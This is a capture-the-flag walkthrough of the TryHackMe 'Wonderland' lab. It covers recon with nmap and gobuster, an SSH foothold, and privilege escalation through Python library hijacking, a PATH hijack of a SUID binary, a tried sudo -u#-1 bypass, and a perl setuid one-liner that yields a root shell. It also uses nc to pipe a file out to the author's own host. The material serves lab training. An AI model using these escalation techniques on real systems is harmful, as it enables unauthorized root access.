1. Recon
❯ nmap -script=default -sV -A -T4 10.10.133.60
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-26 21:51 EST
Nmap scan report for 10.10.133.60
Host is up (0.24s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
| 256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
|_ 256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.75 seconds
❯ gobuster dir -u 10.10.133.60 -w "/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt" -x "txt,html,php"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.133.60
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
2021/02/26 21:50:59 Starting gobuster
===============================================================
/index.html (Status: 301)
/img (Status: 301)
/r (Status: 301)
In /img/ i first tried downloading the images and doing strings, I could not find anything interesting. Onto /r/. It says

Interesting. However, source shows nothing special here, and now I am stuck. But it does ask to go somewhere. On a pure whim, I did:
http://10.10.133.60/r/a/b/b/i/t/
very nice. One can also run gobuster with the url: http://10.10.133.60/r/ and keep on getting the letters.

So now we want to go to the left. How? Well lets do http://10.10.133.60/r/a/b/b/i/

The story continues!

After looking at some more, I realise: wait … I’ve been going in the opposite direction! To quote:
“Oh, you’re sure to do that,” said the Cat, “if you only walk long enough.”
So we must go on … but where? I don’t know.
I was stuck for a while, and then stumbled upon the fact that its ssh username:password. “Open the door” makes sense now lmao.
2. Foothold
I’m in!
alice@wonderland:~$ ls
root.txt walrus_and_the_carpenter.py
alice@wonderland:~$ cat root.txt
cat: root.txt: Permission denied
alice@wonderland:~$ whoami
alice
alice@wonderland:~$ pwd
/home/alice
Okay so the walrus thing is apparently a poem. The script is supposed to spew 10 random lines. very helpful.
alice@wonderland:/home$ ls
alice hatter rabbit tryhackme
alice@wonderland:/home$ cd rabbit/
-bash: cd: rabbit/: Permission denied
alice@wonderland:/home$ cd hatter/
-bash: cd: hatter/: Permission denied
alice@wonderland:/home$ cd tryhackme/
-bash: cd: tryhackme/: Permission denied
I tried locating user.txt, but I can’t locate anything. Looking at the hint on TryHackMe, it could be in /root/user.txt. It is!
rabbit@wonderland:/home/rabbit$ cat /root/user.txt
thm{:stonks:}
3. Priv Esc
We may need to get into the rabbit one. Meanwhile, let’s check what we can sudo:
alice@wonderland:~$ sudo -l
[sudo] password for alice:
Matching Defaults entries for alice on wonderland:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alice may run the following commands on wonderland:
(rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
Ah so we can execute the script as rabbit. alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
This means we can spawn a shell as rabbit!
But … we do not have any permissions to write the file. So how? Well, this is something called python library hijacking. Take a wild guess to what we are going to do.
Yeah, create a file called random.py, essentially overriding the actual random library. Lesgooo!
random.py looks as: import pty; pty.spawn("/bin/bash"). easy.
Executing, we have:
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit@wonderland:~$
YES! okay so we see:
rabbit@wonderland:/home/rabbit$ ls
teaParty
which has a set bit …!?
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Sat, 27 Feb 2021 05:19:12 +0000
Ask very nicely, and I will give you some tea while you wait for him
Segmentation fault (core dumped)
This may include some reverse engineering. Anyways, linpeas gave us this:
[+] Sudo version
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.21p2
However,
rabbit@wonderland:/home/rabbit$ sudo -u#-1 /bin/bash
sudo: unknown user: #-1
sudo: unable to initialize policy plugin
So, back to reverse engineering it is! I wanted to start off with strings, but it does not want to work, since strings is not present on that machine. So, I need to transfer the file to my machine, then extract out the information I need.
For this, we start nc on both;
rabbit@wonderland:/home/rabbit$ nc 10.8.150.214 1234 < teaParty
Explaination: netcat tries to connect to the IP 10.8.150.214 on the port 1234 using TCP, and takes in the file as the input.
❯ nc -lnvp 1234 > temp
Explaination: netcat listens on the port 1234 on your machine, outputting all the contents into a file called temp.
Ok! Doing strings, we see: /bin/echo -n 'Probably by ' && date --date='next hour' -R
We can make use of the date library in C. Also, no matter our input, we get Segmentation fault (core dumped), as its in the string. Very sneaky! Now, we want it to execute the date file. We can just write: bash in it and make it executable by using chmod +x date.
rabbit@wonderland:/home/rabbit$ PATH=/home/rabbit:$PATH ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$
:D Inside of /home/hatter, we get
hatter@wonderland:/home/hatter$ cat password.txt
<PASSWORD>
Now, we can login as hatter normally, instead of this convoluted mess.
(We are still in alice’s random’s rabbit’s teaParty shell lmao)
Okay take a deep breath in. Fresh shell! However …
hatter@wonderland:~$ sudo -l
[sudo] password for hatter:
Sorry, user hatter may not run sudo on wonderland.
SMH.
Time for linpeas again!
❯ scp ~/Desktop/Tools/linpeas.sh hatter@10.10.27.106:~
hatter@10.10.27.106's password:
linpeas.sh 100% 313KB 188.7KB/s 00:01
Okay so the below pops out, talking about suid bit setting capabilities:
Files with capabilities:
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
Perl looks tasty, so gtfobins tells us the following.
cp $(which perl) .
hatter@wonderland:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# whoami
root
EASY!